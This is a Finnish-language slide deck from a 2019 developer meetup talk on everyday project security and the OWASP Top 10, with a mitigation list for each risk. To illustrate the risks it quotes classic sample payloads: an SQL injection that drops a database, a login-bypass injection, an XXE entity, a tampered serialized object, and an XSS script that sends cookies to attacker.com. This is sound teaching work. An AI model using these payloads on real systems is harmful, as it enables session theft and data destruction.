Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Devaaja, tietoturva ja OWASP

Miten devaaja ja tietoturva liittyvät toisiinsa? Mitä on OWASP? Kurkistetaan devaajan projektiarkea tietoturvanäkökulmasta ja käydään OWASP top 10 läpi. Lahti Dev Meetup esitys 3.4. 2019.

  • Login to see the comments

  • Be the first to like this

Devaaja, tietoturva ja OWASP

  1. 1. Devaaja, tietoturva ja OWASP Dev meetup @ Lahti, 3.4.2019
  2. 2. Potilastietojärjestelmä • Pääsy palveluun rajattu • Käyttäjän tunnistaminen • Tietojen näkyminen / käyttöoikeudet • GPDR – henkilötietorekisteri • Tietosuoja • Audit-loki – kuka teki mitä? • Penetraatiotestausta • Tietoturva-auditointia • … Verkkokauppa • Avoin kaikille käyttäjille • Kirjautuminen omalle tilille • Tietojen näkyminen • GDPR – henkilötietorekisteri • Ostotapahtuman turvallisuus • Admin-kirjautuminen • … Palautelomake • Avoin kaikille käyttäjille • Ei kirjautumista • Kerätäänkö henkilötietoja? Rekisteri? • Hyökkäys lomakkeen kautta, esim. SQL- injektio? • Mahdollisuus lähettää lomakkeen kautta spämmiä botilla? Erilaisia projekteja – erilaista tietoturvaa
  3. 3. Kaikissa projekteissa on tietoturva-asioita • Tietoturva kuuluu projektiin oletuksena, samoin kuin laadukas tekeminen. • Perustietoturva ei ole lisäoptio, joka pitää tilata erikseen, tai josta pitää maksaa erikseen. • Tietoturvallinen tekeminen ei useinkaan vie enempää aikaa kuin turvattomasti tekeminen. Hitainta ja kalleinta on tehdä ensin kehnosti ja vasta myöhemmin tietoturvallisesti. • Tietoturvallinen tekeminen vaatii devaajalta osaamista, keskittymistä ja intohimoa devaamiseen samoin kuin laadukas tekeminen.
  4. 4. Taneli Devaaja toimii tietoturvallisesti • Hän tietää kenelle projektiasioista saa puhua, ei jorise niitä baarissa tuopinkaan ääressä. • Hän tallettaa tärkeät käyttäjätunnukset salasanojen hallintasovellukseen, ei post-it-lapulla läppärin kanteen. • Hän ei pushaa tärkeitä salasanoja projektin julkiseen repoon. • Hän ei käytä julkista WLANia ilman VPN:ää. • Hän ei jaa koodia pastebiniin tai käännä kriittistä projektidokumentaatiota netin käännöspalveluilla
  5. 5. Devaaja on pohjimmiltaan ongelmanratkaisija Ongelma: Tarvitaan nettisivuille tuotehaku. Pitää toimia tuotekoodilla, esim. 1234. Taneli Devaaja: Ratkaisu! Toimii ja testattu ainakin tuotekoodeilla 1234, 4364, 5643. memes.ucoz.com
  6. 6. Testaaja etsii puutteita toteutuksessa Taina Testaaja: Hmm. Hakukenttä, johon voi syöttää numerosarjan. Kokeillaanpa, mitä tapahtuu, jos syötän tuotekoodiksi tunnetusti ikäviä syötteitä, kuten -1, 0, XYZ, ÄÖ123, tooooooooooooooosipiiiiiiiiiiiiiiiiiiiiitkäsyöte Taneli Devaaja: Hakukenttä ja tuotekoodi onkin merkkijono. Homma toimii.
  7. 7. Hakkeri etsii systeemistä aukkoja Harri Hakkeri: Hmm. Hakukenttä. Kokeillaanpas 123’; drop database; -- Taneli Devaaja: String sql = "select * from tuotteet where id = ’" + givenId + "’"; emojiisland.com
  8. 8. Tanelin olisi pitänyt käyttää sidosmuuttujia • Älä luota käyttäjältä tulevaan dataan. Käyttäjä voi syöttää kenttiin tietämättään tai tahallaan jotain outoa. • Ajattele laatikon ulkopuolella, laajenna tietämystä, kysy työkaverilta, kysy tietoturva- asiantuntijalta, googleta • Koodikatselmoinnit, pariohjelmointi • Vedä foliohattu syvemmälle päähän • Tutustu OWASP top 10 -listaan
  9. 9. OWASP top 10 • OWASP - Open Web Application Security Project OWASP is an open community dedicated to enabling organizations to conceive, develop, acquire, operate, and maintain applications that can be trusted. • Listaa yleisimpiä haavoittuvuuksia, OWASP top 10 https://www.owasp.org/index.php/Top_10-2017_Top_10 • Paljon tietoa, esimerkkejä ja keinoja suojautua haavoittuvuuksilta https://github.com/OWASP/CheatSheetSeries/blob/master/Index.md • OWASP Juice Shop – ”The most trustworthy online shop out there” https://www.owasp.org/index.php/OWASP_Juice_Shop_Project www.owasp.org
  10. 10. 1 - Injektio Hyökkääjä saa upotettua omaa dataa tai omia komentoja esim. SQL-kyselyn mukana. Komennot ajetaan ilman kunnollista autentikaatiota. (myös NoSQL, OS, LDAP) • Esim. kirjautuminen toteutettu heikosti • Syötetään Käyttäjätunnus: Riikka’ -- Salasana: ???? -> Hyökkääjä pääsee kirjautumaan ilman salasanaa • Käytä aina sidosmuuttujia, älä luota käyttäjän antamaan dataan SELECT * FROM kayttajat WHERE tunnus=’Riikka’ -- ' AND salasana=’????'; SELECT * FROM kayttajat WHERE tunnus='$kayttajatunnus' AND salasana='$salasana';
  11. 11. 2 – Rikkinäinen autentikaatio Sovelluksen autentikaatio on toteutettu heikosti niin, että hyökkääjä pääsee sisään jonain (muuna) käyttäjänä muuntelemalla salasanoja, session tokeneita tai hyödyntämällä muita tietoturva-aukkoja. • Muista palveluista vuotaneet salasanalistat, brute force –hyökkäykset, session tokeneiden muuttaminen, sessio ei vanhene vaikka pitäisi, autentikaatiossa tai unohditko salasanasi – toiminnossa tietoturva-aukko • Älä koodaa sovelluksen autentikaatiota itse, luultavasti jossain kirjastossa asiat on mietitty valmiiksi • Multi-Factor Authentication (tarjoa palvelussa, ota itse käyttöön käyttäjänä) • Vaadi (ja käytä) vahvoja salasanoja, älä vaadi uusimaan salasanoja säännöllisesti • Session tokenien kunnollinen invalidointi, älä kierrätä session tokeneita • Ei sessio-tietoja selkokielisenä urliin • Ei default salasanoja esim. admin/admin
  12. 12. 3 – Arkaluontoisen tiedon paljastuminen Sovelluksesta tai rajapinnasta saa ulos arkaluontoista tietoa kuten rahaan, terveyteen, tunnistautumiseen tai identiteettiin liittyviä tietoja. Hyökkääjä voi hyödyntää tietoja esim. luottokorttipetoksiin tai identiteettivarkauksiin. • Suojattu yhteys ei ole pakotettu kaikille sivuille, hyökkääjä voi julkisen wlanin yli seurata liikennettä, muuttaa https -> http ja lukea käyttäjän evästeen • Palvelusta on mahdollista saada ulos selkokielisiä tai heikosti salattuja salasanoja Arkaluontoisen tiedon käsittely / siirto ja säilyttäminen vaatii erityishuomioita. • Älä siirrä dataa salaamattomana, etenkään julkiverkossa • Älä säilytä salasanoja salaamattomana • Käytä salaukseen riittävän vahvoja salausalgoritmeja • Käytä palvelinsertifikaatteja
  13. 13. Salaa arkaluontoinen tieto riittävän hyvin https://twitter.com/PwdRsch/status/1103021803503607808
  14. 14. 4 – XML External Entities (XXE) XML-dokumenteissa on mahdollista viitata ulkopuolisiin resursseihin. Vanhemmat tai huonosti konfiguroidut XML-prosessorit käyvät nämä viittaukset läpi. Viittauksen avulla voidaan yrittää saada tietoa järjestelmästä, suorittaa koodia tai tehdä jopa palvelunestohyökkäyksen • Hyökkääjä saa lähetettyä rajapintaan oman XML-dokumentin / muutettua järjestelmän omaa • Käytä JSONia, jos mahdollista • Päivitä XML-kirjastot uudempiin • Estä ulkopuolisten resurssien käyttö konfiguraatiomuutoksella <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  15. 15. 5 – Rikkinäinen pääsynvalvonta Hyökkääjä pääsee kirjauduttuaan esiintymään käyttäjänä, jolla on enemmän oikeuksia, esimerkiksi pääkäyttäjänä. • Pääsynvalvonnan ohitus muokkaamalla osoitetta, evästeitä, sovelluksen tilaa tai html-sivua • Tiedon muuttaminen niin, että pääsee vahvemman käyttäjän tilille • Puutteellinen pääsynvalvonta APIn POST-, DELETE-, PUT-toiminnoilla http://example.com/app/accountInfo?acct=notmyacct • Tiukka pääsynvalvonta / käyttöoikeudet. Kaikki, mikä ei ole sallittua, on kiellettyä. • Tietomalli tukemaan: vain omia tietoja saa muokata • Lokitetaan pääsynvalvonnan virhetilanteet, hälytykset toistuvista virheistä • JWT (JSON Web Token) tokenien invalidisointi uloskirjautumisen yhteydessä
  16. 16. 6 – Väärin konfiguroitu Konfigurointivirhe on varsin tavallinen tietoturva-aukko • Syitä: heikko oletuskonfiguraatio, keskeneräinen konfiguraatio, ad hoc konfiguraatio, avoin pilvi, väärin konfiguroidut http-otsakkeet, liikaa informaatiota sisältävät virheviestit • Käyttöjärjestelmät, sovelluskehykset, kirjastot ja itse sovellukset pitää konfiguroida tietoturva huomioiden, lisäksi käytössä pitäisi olla viimeisimmät versiot Esim. admin-käyttäjän oletustunnuksia ja salasanoja ei ole muutettu tai html-palvelimen tiedostolistauksia ei ole estetty. • Ympäristöjen rakentaminen automatisoidusti. Konfiguroidaan kerran ja toistetaan. • Poistetaan / estetään kaikki ympäristön tarpeettomat toiminnot. Helpompi hallita. • Kaikki mikä ei ole sallittua, on kiellettyä.
  17. 17. 7 – Cross-Site Scripting (XSS) Sovelluksen www-sivulle liitetään dataa ei-luotetusta lähteestä ilman kunnon validointia tai datan muokkausta. • XSS-haavoittuvuus sallii hyökkääjän ajaa omaa koodiaan kohteen selaimessa niin, että hyökkääjä voi kaapata session, muokata käyttäjän sivua tai ohjata käyttäjän haitallisille sivuille. (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; Hyökkääjä muokkaa CC-parametrin niin, että eväste lähetetään sivun ulkopuolelle. '><script>document.location='http://www.attacker.com/cgi- bin/cookie.cgi?foo='+document.cookie</script>'. • Validoi ja escapeta järjestelmän ulkopuolelta (mm. käyttäjältä) tuleva data • Käytä uusimpia kirjastoja
  18. 18. 8 – Turvaton deserilisaatio Turvattomassa deserilisaatiossa hyökkääjä saa käyttäjän ajamaan omaa koodiaan tai käyttämään muokkaamaansa tietorakennetta. a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} Hyökkääjä muuttaa serialisoitavan tietorakenteen niin, että saa admin-oikeudet. a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} • Salli tietorakenteiden vastaanotto vain luotetuista lähteistä • Jos ei-luotetusta lähteestä, käytä digitaalista allekirjoitusta • Deserilisaatio rajatuilla oikeuksilla ”hiekkalaatikossa” • Lokita ja monitoroi deserilisaatio-prosessia, hälytyksiä poikkeuksista
  19. 19. 9 – Tunnettuja haavoittuvuuksia sisältävien komponenttien käyttäminen Sovelluksessa käytettävät kolmannen osapuolen kirjastot ajetaan samoilla käyttöoikeuksilla kuin itse sovellus. Tunnettuja haavoittuvuuksia sisältävien komponenttien käyttäminen heikentää koko sovelluksen tietoturvaa ja mahdollistaa hyökkäyksen sovellukseen komponentin kautta. CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches. • Poista käyttämättömät riippuvuudet, ominaisuudet ja komponentit • Automatisoi komponenttien tietoturva-aukkojen seuranta (esim. CVE-listaukset) • Päivitä hälytysten perusteella komponentit säännöllisesti • Käytä vain luotettavien toimijoiden tarjoamia komponentteja
  20. 20. 10 – Riittämätön lokitus ja valvonta Kattava lokitus ja valvonta vähentää tai mahdollisesti jopa estää hyökkääjän tekemiä tuhoja. Tutkimuksissa on todettu, että hyökkäyksen toteamiseen voi mennä yli 200 päivää, ja silloinkin hyökkäys on huomattu muiden osapuolten toimesta eikä sisäisen valvonnan avulla. • Lokita kaikki olennaiset tapahtumat: kirjautumiset, pääsynvalvontavirheet, palvelinpään validointivirheet. Sisällytä loki-viestiin riittävästi tietoa (esim. käyttäjätunnus). Säilytä lokeja hetken aikaa. • Käytä keskitettyä lokien hallintasovellusta. Varmista, että lokiviestien muoto on yhteensopiva. • Käytä audit-lokitusta. Estä tietojen poisto taulutasolla, jos mahdollista. • Tehokasta valvontaa ja hälytyskynnykset sopivalla tasolla. • Tee suunnitelma hyökkäysten ja murtojen varalta.
  21. 21. Tietoturvakeijuja, onko niitä? Älä usko tietoturvakeijuihin, projektin tietoturva lähtee devaajista. • tietoturvaa tarvitaan kaikissa projekteissa • tietoturva pitää huomioida alusta asti • tietoturva muodostuu projektin arjessa https://twitter.com/leakissner/status/1100102269826035712
  22. 22. Kiitos! RIIKKA TAIMINEN Software Developer Twitter: @RiikkaTaiminen

×